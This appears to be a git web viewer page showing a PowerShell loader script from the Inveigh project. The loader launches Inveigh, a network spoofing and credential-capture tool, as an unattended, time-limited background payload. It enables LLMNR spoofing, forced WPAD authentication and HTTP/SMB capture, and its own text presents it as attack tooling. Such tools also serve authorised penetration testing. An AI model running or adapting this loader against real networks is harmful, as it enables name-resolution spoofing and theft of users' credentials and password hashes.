aboutsummaryrefslogtreecommitdiff
path: root/old/Inveigh-Loader.ps1
blob: 5e4f4ac87490a15dcff2698f851e9748edb9d231 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<#
.SYNOPSIS
Inveigh Loader provides additional options for running Inveigh as an unattended payload.

.DESCRIPTION
Inveigh Loader can load Inveigh with set parameters and stop execution after specified amount of time. Inveigh can be either loaded as a separate script or through a scriptblock embedded within this script. If the scriptblock method is selected, the current Inveigh.ps1 code must be copied into the $inveigh_scriptblock below. This is a basic version, additional features will be added.
#>

# Inveigh loader parameters
$run_length = 1 # Set the number of minutes Inveigh will run
$start_job_method = "filepath" # Set the Job-Start method. filepath,scriptblock

# Inveigh parameters - refer to Inveigh.ps1 for details
$IP = ""
$SpooferIP = ""
$HTTP = "Y"
$HTTPS = "N"
$SMB = "Y"
$LLMNR = "Y"
$NBNS = "N"
$NBNSTypes = @("20") # Format for multiples = @("00","20")
$Repeat = "Y"
$ForceWPADAuth = "Y"
$Output = "0"
$OutputDir = ""

if(-not($IP))
{ 
    $IP = (Test-Connection 127.0.0.1 -count 1 | select -ExpandProperty Ipv4Address)
}

if(-not($SpooferIP))
{
    $SpooferIP = $IP  
}

if(-not($OutputDir))
{
    $OutputDir = $PWD.Path  
}

$inveigh_scriptblock =
{ # begin $inveigh_scriptblock - paste Inveigh.ps1 code below this line if using $start_job_method = "scriptblock"

} # end $inveigh_scriptblock

try
{
    if ($start_job_method -eq "filepath")
    {
        Start-Job -Name Inveigh -FilePath .\Inveigh.ps1 -ArgumentList $IP,$SpooferIP,$HTTP,$HTTPS,$SMB,$LLMNR,$NBNS,$NBNSTypes,$Repeat,$ForceWPADAuth,$Output,$OutputDir | Out-Null
    }
    elseif ($start_job_method -eq "scriptblock")
    {
        Start-Job -Name Inveigh -ScriptBlock $inveigh_scriptblock -ArgumentList $IP,$SpooferIP,$HTTP,$HTTPS,$SMB,$LLMNR,$NBNS,$NBNSTypes,$Repeat,$ForceWPADAuth,$Output,$OutputDir | Out-Null
    }
    else
    {
        throw "Invalid $start_job_method."
    }
    
    $run_timeout = new-timespan -Minutes $run_length
    $run_stopwatch = [diagnostics.stopwatch]::StartNew()
    
    while ($run_stopwatch.elapsed -lt $run_timeout)
    {
        Receive-Job -name Inveigh
    }

}
finally
{
    Stop-Job -name Inveigh
    Receive-Job -name Inveigh
    Remove-Job -name Inveigh
    write-warning "Inveigh Loader exited at $(Get-Date -format 's')"
}